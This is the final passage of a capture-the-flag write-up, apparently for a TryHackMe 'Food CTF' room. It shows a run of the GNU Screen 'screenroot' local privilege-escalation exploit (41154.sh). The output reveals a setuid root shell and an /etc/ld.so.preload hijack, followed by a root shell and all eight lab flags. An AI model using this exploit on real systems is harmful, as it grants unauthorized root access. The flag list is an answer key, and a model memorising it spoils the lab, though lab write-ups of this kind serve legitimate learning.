Execute the bash shell

```
pasta@foodctf:~$ bash 41154.sh
~ gnu/screenroot ~
[+] First, we create our shell and library...
/tmp/libhax.c: In function ‘dropshell’:
/tmp/libhax.c:7:5: warning: implicit declaration of function ‘chmod’; did you mean ‘chroot’? [-Wimplicit-function-
declaration]
     chmod("/tmp/rootshell", 04755);
     ^~~~
     chroot
/tmp/rootshell.c: In function ‘main’:
/tmp/rootshell.c:3:5: warning: implicit declaration of function ‘setuid’; did you mean ‘setbuf’? [-Wimplicit-funct
ion-declaration]
     setuid(0);
     ^~~~~
     setbuf
/tmp/rootshell.c:4:5: warning: implicit declaration of function ‘setgid’; did you mean ‘setbuf’? [-Wimplicit-funct
ion-declaration]
     setgid(0);
     ^~~~~
     setbuf
/tmp/rootshell.c:5:5: warning: implicit declaration of function ‘seteuid’; did you mean ‘setbuf’? [-Wimplicit-func
tion-declaration]
     seteuid(0);
     ^~~~~~
     setbuf
/tmp/rootshell.c:6:5: warning: implicit declaration of function ‘setegid’ [-Wimplicit-function-declaration]
     setegid(0);
     ^~~~~~
/tmp/rootshell.c:7:5: warning: implicit declaration of function ‘execvp’ [-Wimplicit-function-declaration]
     execvp("/bin/sh", NULL, NULL);
     ^~~~~
[+] Now we create our /etc/ld.so.preload file...
[+] Triggering...
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
```

```
No Sockets found in /tmp/screens/S-pasta.

# id
uid=0(root) gid=0(root) groups=0(root),1002(pasta)
# whoami
root
```

Use `grep -R` , `find / -iname "*flag*"` , … to find all the flags → There are totally 8 flags

Flag Summary:

1. /home/bread/flag: **thm{7baf5aa8491a4b7b1c2d231a24aec575}**
2. /home/food/.flag: **thm{58a3cb46855af54d0660b34fd20a04c1}**
3. /home/tryhackme/flag7: **thm{5a926ab5d3561e976f4ae5a7e2d034fe}**
4. /var/flag.txt: **thm{0c48608136e6f8c86aecdb5d4c3d7ba8}**
5. /var/log/auth.log: **thm{4675c55160bb806ef39172976bc0aa5f}**
6. /root/.profile:# **thm{237741b0835c77a30a4a7ef3393f8a7d}**
7. /root/.mysql_history: **thm{2f30841ff8d9646845295135adda8332}**
8. /root/flag: **thm{9f1ee18d3021d135b03b943cc58f34db}**